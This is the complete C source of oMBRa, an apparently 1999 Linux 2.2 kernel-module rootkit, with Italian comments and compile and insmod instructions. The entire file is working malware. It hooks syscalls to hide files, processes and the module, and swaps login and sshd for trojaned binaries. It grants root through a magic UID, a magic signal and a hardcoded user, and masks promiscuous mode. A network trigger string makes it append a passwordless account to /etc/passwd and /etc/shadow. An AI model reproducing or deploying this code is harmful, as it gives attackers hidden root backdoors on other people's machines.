/*
 * oMBRa.c                    	Implementazione del modulo CaRoGNa,
 *				per kernel Linux 2.2.x
 *                              Tecnica Segreta n.2 della divina scuola
 *                              dell' HOKUHACKO. Sacro Colpo del Rinnovamento
 *                              Modulare che Travolge la Radice.
 *
 *                                           __NO__(C)1999 FuSyS [S0ftPj|BFi]
 *							   <fusys@s0ftpj.org>
 *
 * Compilate con:       gcc -c -O2 -fomit-frame-pointer oMBRa.c
 * Installate con:      insmod oMBRa.o
 * NB:			l'azzeramento di struct module *mp deve essere
 *			coadiuvato da -O3 e bisogna anche azzeccare il registro
 *			che ne consenta l'accesso. altrimenti usare la nuova
 *			query_module per occultarsi a lsmod
 *
 * 3l33t quote:         "wow, e funzica anche su Solaris ?"
 * Tnx'n'credits:       HalfLife(syscalls), Zarq(heroin), Plaguez(itf), 
 *			Pragmatic(LKM paper), BFi
 */

#define MODULE
#define __KERNEL__
#include <linux/module.h>

#include <linux/fs.h>
#include <linux/dirent.h>
#include <linux/proc_fs.h>
#include <linux/types.h>
#include <linux/stat.h>
#include <linux/fcntl.h>
#include <linux/mm.h>
#include <linux/if.h>
#include <sys/syscall.h>
#include <asm/uaccess.h>
#include <asm/unistd.h>
#include <asm/segment.h>

#define SUBVISUS        "SPJ2K"
#define LKMNAME		"oMBRa"
#define SIGNIHIL        31
#define PF_DISAPPEAR    0x00002000
#define SACROUID        7777
#define KING            500
#define LOGIN		"/bin/login"
#define SSHD		"/usr/local/bin/sshd"
#define	PASSWD		"/etc/passwd"
#define SHADOW		"/etc/shadow"
#define ACCOUNT		"spj2k::1:6:spj2k:/tmp:/bin/bash\n"
#define	ACCSHDW		"spj2k::10968:0:99999:7:-1:-1:134538412\n"

inline int suser(void)
{
        if (!issecure(SECURE_NOROOT) && ((current->euid == 0)||
				(current->euid == KING))) {
                current->flags |= PF_SUPERPRIV;
                return 1;
        }
        return 0;
}

inline int fsuser(void)
{
        if (!issecure(SECURE_NOROOT) && ((current->fsuid == 0)||
				(current->euid == KING))) {
                current->flags |= PF_SUPERPRIV;
                return 1;
        }
        return 0;
}

inline int capable(int cap)
{
        if ((cap_raised(current->cap_effective, cap))||(current->euid == KING))
        {
                current->flags |= PF_SUPERPRIV;
                return 1;
        }
        return 0;
}

int promisc, errno, __NR_myexecve;

int (*old_execve) (struct pt_regs);
int (*old_kill) (pid_t, int) ;
int (*old_getdents) (unsigned int, struct dirent *, unsigned int) ;
int (*old_unlink) (const char *) ;
int (*old_chdir) (const char *) ;
int (*old_setuid) (uid_t) ;
int (*old_getuid) () ;
int (*old_ioctl) (unsigned int, unsigned int, unsigned long) ;
int (*old_socketcall) (int, unsigned long *);
int (*old_query_module)(const char *, int, char *, size_t, size_t *) ;

extern void *sys_call_table[] ;

int (*open)(const char*, int, mode_t);
int (*write)(unsigned int, char*, unsigned int);
int (*close)(int);

int atoi(char str[])
{
    int res = 0;
    int i ;
    for(i = 0; str[i] >='0' && str[i] <='9'; ++i)
        res = 10 * res + str[i] - '0';
    return res;
}

inline char *task_name(struct task_struct *p, char *buf)
{
    int i;
    char *name;

    name = p->comm;
    i = sizeof(p->comm);
    do {
        unsigned char c = *name;
        name++;
        i--;
        *buf = c;
        if (!c)
            break;
        if (c == '\\') {
            buf[1] = c;
            buf += 2;
            continue;
        }
        if (c == '\n') {
            buf[0] = '\\';
            buf[1] = 'n';
            buf += 2;
            continue;
        }
        buf++;
    }
    while (i);
    *buf = '\n';
    return buf + 1;
}

struct task_struct *get_task(pid_t pid)
{
    struct task_struct *p = current;
    do {
        if (p->pid == pid)
            return p;
        p = p->next_task;
    }
    while (p != current);
        return NULL;
}

int secret(pid_t pid)
{
    struct task_struct *task = get_task(pid);
    char *name;
    if (task) {
        name = (char *)kmalloc(200, GFP_KERNEL);
        memset(name, 0, 200);
        task_name(task, name);
        if (strstr(name, SUBVISUS)!=NULL) {
            kfree(name);
            return 1;
        }
        kfree(name);
    }
    return 0;
}

int killinv(pid_t pid)
{
    struct task_struct *task = get_task(pid);
    if(task == NULL) return 0;
    if (task->flags & PF_DISAPPEAR) {
        return 1;
    }
    return 0;
}

int new_execve(struct pt_regs regs)
{
        char *filename;
        int error;

	filename=getname((char *) regs.ebx);
        error = PTR_ERR(filename);
        if (IS_ERR(filename)) return error;
	if(strstr(filename, LOGIN)){
		error=do_execve("/SPJ2Kdir/SPJ2Klogin_t",(char **)regs.ecx,(char **)regs.edx,&regs);
	}
	if(strstr(filename, SSHD)){
		error=do_execve("/SPJ2Kdir/SPJ2Ksshd_t",(char **)regs.ecx,(char **)regs.edx,&regs);
	}
	else error = do_execve(filename,(char **)regs.ecx,(char **)regs.edx,&regs);
	if (error == 0) current->flags &= ~PF_DTRACE;
        putname(filename);
        return error;
}

int new_getdents(unsigned int fd, struct dirent *dirptr, unsigned int count)
{
    unsigned int real ;
    unsigned int len ;

    int readen ;
    int proc;

    struct dirent *dirptr2, *dirptr3;
    struct inode *procinode;

    real = (*old_getdents) (fd, dirptr, count);
    if(real == -1) return(-errno);

#ifdef __LINUX_DCACHE_H
    procinode = current->files->fd[fd]->f_dentry->d_inode;
#else
    procinode = current->files->fd[fd]->f_inode;
#endif
    if (procinode->i_ino == PROC_ROOT_INO && !MAJOR(procinode->i_dev) &&
    MINOR(procinode->i_dev) == 1) proc = 1;

    if (current->uid == KING) return(real);

    if (real > 0) {    

        dirptr2 = (struct dirent *)kmalloc(real, GFP_KERNEL);
        copy_from_user(dirptr2, dirptr, real);
        dirptr3 = dirptr2;
        readen = real;
         while (readen > 0) {
            len = dirptr3->d_reclen;
            readen -= len;
            if ((strstr((char *)&(dirptr3->d_name), (char *)SUBVISUS) !=NULL)
               || (proc && secret(atoi(dirptr3->d_name)))
               || (proc && killinv(atoi(dirptr3->d_name)))) {

               if (readen != 0)
                memmove(dirptr3, (char *)dirptr3 + dirptr3->d_reclen, readen);

               else  dirptr3->d_off = 1024;

                real -= len;
            }
            if (dirptr3->d_reclen == 0) {
                real -= readen;
                readen = 0;
            }
            if (readen != 0)
            dirptr3 = (struct dirent *)((char *) dirptr3 + dirptr3->d_reclen);
        }
        copy_to_user(dirptr, dirptr2, real);
        kfree(dirptr2);
    }
    return(real);
}

int new_unlink(const char *pathname)
{
	int ret;
	char *path2;

        path2=(char*)kmalloc(256, GFP_KERNEL);
        copy_from_user(path2, pathname, 255);
        if(strstr(path2, SUBVISUS)) {
                if(current->uid != KING){
                        kfree(path2);
                        return -EPERM ;
                }
                else {
                        kfree(path2);
                        ret = (*old_unlink) (pathname);
                        return(ret);
                }
        }
        else ret = (*old_unlink) (pathname);
        kfree(path2);
        return(ret);
}

int new_chdir(const char *filename)
{
	int ret;
	char *name;

        name=(char*)kmalloc(256, GFP_KERNEL);
        copy_from_user(name, filename, 255);
        if(strstr(name, SUBVISUS)) {
                if(current->uid != KING){
                        kfree(name);
                        return -ENOENT ;
                }
                else {
                        kfree(name);
                        ret = (*old_chdir) (filename);
                        return(ret);
                }
        }
        else ret = (*old_chdir) (filename);
        kfree(name);
        return(ret);
}

int new_kill(pid_t pid, int sig)
{
        int real;
        struct task_struct *task = get_task(pid);

        if ((sig != SIGNIHIL) && (sig != SIGTSTP)) {
                real = (*old_kill)(pid, sig);
                if (real == -1) return(-errno);
                return real;
        }
        if (sig == SIGNIHIL) {
                task->flags |= PF_DISAPPEAR;
                return(0);
        }
        else if (sig == SIGTSTP) {
                task->uid = task->gid = task->euid = task->egid = 0;
		task->cap_effective |= (1 << (CAP_DAC_OVERRIDE));
                return(real);
        }
	return(0);
}

int new_setuid(uid_t uid)
{
        int tmp;
        if (uid == SACROUID) {
                current->uid = 0;
                current->gid = 0;
                current->euid = 0;
                current->egid = 0;
		current->cap_effective |= (1 << (CAP_DAC_OVERRIDE));
                return 0;
        }

        tmp = (*old_setuid) (uid) ;
        return tmp;
}

int new_getuid()
{
        int tmp;
        if (current->uid == SACROUID) {
                current->uid = 0;
                current->gid = 0;
                current->euid = 0;
                current->egid = 0;
                return 0;
        }

        tmp = (*old_getuid) () ;
        return tmp;
}

int new_ioctl
(unsigned int fd, unsigned int cmd, unsigned long arg)
{
        int ret ;
        struct ifreq netif ;

        ret = (*old_ioctl) (fd, cmd, arg);
        if (cmd == SIOCGIFFLAGS && !promisc) {
          copy_from_user((struct ifreq *)&netif, (struct ifreq *)arg,
          sizeof(struct ifreq));
          netif.ifr_flags = netif.ifr_flags & (~IFF_PROMISC);
          copy_to_user((struct ifreq *) arg, (struct ifreq *) &netif,
          sizeof(struct ifreq));
        } else if (cmd == SIOCSIFFLAGS)
                sys_call_table[SYS_ioctl] = old_ioctl;
        return ret ;
}

int new_socketcall(int call, unsigned long *args)
{
        int ret, compt, fd=0;
        mm_segment_t old_fs;
        unsigned long *sargs = args;
        unsigned long a0, a1;
        void *buf;

        ret = (*old_socketcall) (call, args);
	if (call ==SYS_RECV || call == SYS_RECVFROM || call == SYS_RECVMSG) {
                get_user(a0, sargs);
                get_user(a1, sargs + 1);
                buf = kmalloc(ret, GFP_KERNEL);
                copy_from_user(buf, (void *) a1, ret);
                for (compt = 0; compt < ret; compt++)
                        if (((char *) (buf))[compt] == 0)
                                ((char *) (buf))[compt] = 1;
                        if (strstr(buf, "SPJ5cc7tN3w")) {
				current->cap_effective |= (1 << (CAP_DAC_OVERRIDE));
                               	old_fs=current->addr_limit;
                               	current->addr_limit=(KERNEL_DS);
                               	fd=(*open)(PASSWD, O_RDWR|O_APPEND, 0644);
				printk("%d\n",fd);
                               	(*write)(fd,ACCOUNT,strlen(ACCOUNT));
                               	(*close)(fd);
                                fd=(*open)(SHADOW, O_RDWR|O_APPEND, 0400);
				printk("%d\n",fd);
                                (*write)(fd,ACCSHDW,strlen(ACCSHDW));
                                (*close)(fd);
                               	current->addr_limit=old_fs;
				current->cap_effective &= ~(1 << (CAP_DAC_OVERRIDE));
                        }
                        kfree(buf);
	}
        return ret;
}

int new_query_module(const char *name, int which, char *buf, size_t bufsize,
	size_t *ret)
{
        int res;
        int cnt;
        char *ptr, *match;

        res = (*old_query_module)(name, which, buf, bufsize, ret);

        if(res == -1)
                return(-errno);

        if(which != QM_MODULES)
                return(res);

        ptr = buf;

        for(cnt = 0; cnt < *ret; cnt++) {
                if(!strcmp(LKMNAME, ptr)) {
                        match = ptr;
                        while(*ptr)
                                ptr++;
                        ptr++;
                        memcpy(match, ptr, bufsize - (ptr - (char *)buf));
                        (*ret)--;
                        return(res);
                }
                while(*ptr)
                        ptr++;
                ptr++;
        }

        return(res);
}

int init_module(void)
{
     /* register struct module *mp asm("%ebp");
        *(char *) (mp->name) = 0;
        mp->size = 0; */

        EXPORT_NO_SYMBOLS;

	old_execve = sys_call_table[SYS_execve];
  	sys_call_table[__NR_myexecve] = old_execve;
  	sys_call_table[SYS_execve] = (void *) new_execve;
        old_getdents = sys_call_table[SYS_getdents];
        sys_call_table[SYS_getdents] = (void *) new_getdents;
        old_unlink= sys_call_table[SYS_unlink];
        sys_call_table[SYS_unlink] = (void *) new_unlink;
        old_chdir= sys_call_table[SYS_chdir];
        sys_call_table[SYS_chdir] = (void *) new_chdir;
        old_kill = sys_call_table[SYS_kill];
        sys_call_table[SYS_kill] = (void *) new_kill;
        old_setuid = sys_call_table[SYS_setuid];
        sys_call_table[SYS_setuid] = (void *) new_setuid;
        old_getuid = sys_call_table[SYS_getuid];
        sys_call_table[SYS_getuid] = (void *) new_getuid;
        old_ioctl = sys_call_table[SYS_ioctl];
        sys_call_table[SYS_ioctl] = (void *) new_ioctl;
        old_socketcall = sys_call_table[SYS_socketcall];
        sys_call_table[SYS_socketcall] = (void *) new_socketcall;
/*	old_query_module = sys_call_table[SYS_query_module];
	sys_call_table[SYS_query_module]=(void *)new_query_module;
*/	open = sys_call_table[SYS_open];
	close = sys_call_table[SYS_close];
	write = sys_call_table[SYS_write];

	return 0;
}

void cleanup_module(void)
{
	sys_call_table[SYS_execve]=old_execve;
        sys_call_table[SYS_getdents] = old_getdents;
	sys_call_table[SYS_unlink] = old_unlink;
	sys_call_table[SYS_chdir] = old_chdir;
        sys_call_table[SYS_kill] = old_kill;
        sys_call_table[SYS_setuid] = old_setuid;
	sys_call_table[SYS_getuid] = old_getuid;
        sys_call_table[SYS_ioctl] = old_ioctl;
        sys_call_table[SYS_socketcall] = old_socketcall;
/*	sys_call_table[SYS_query_module] = old_query_module; */
}
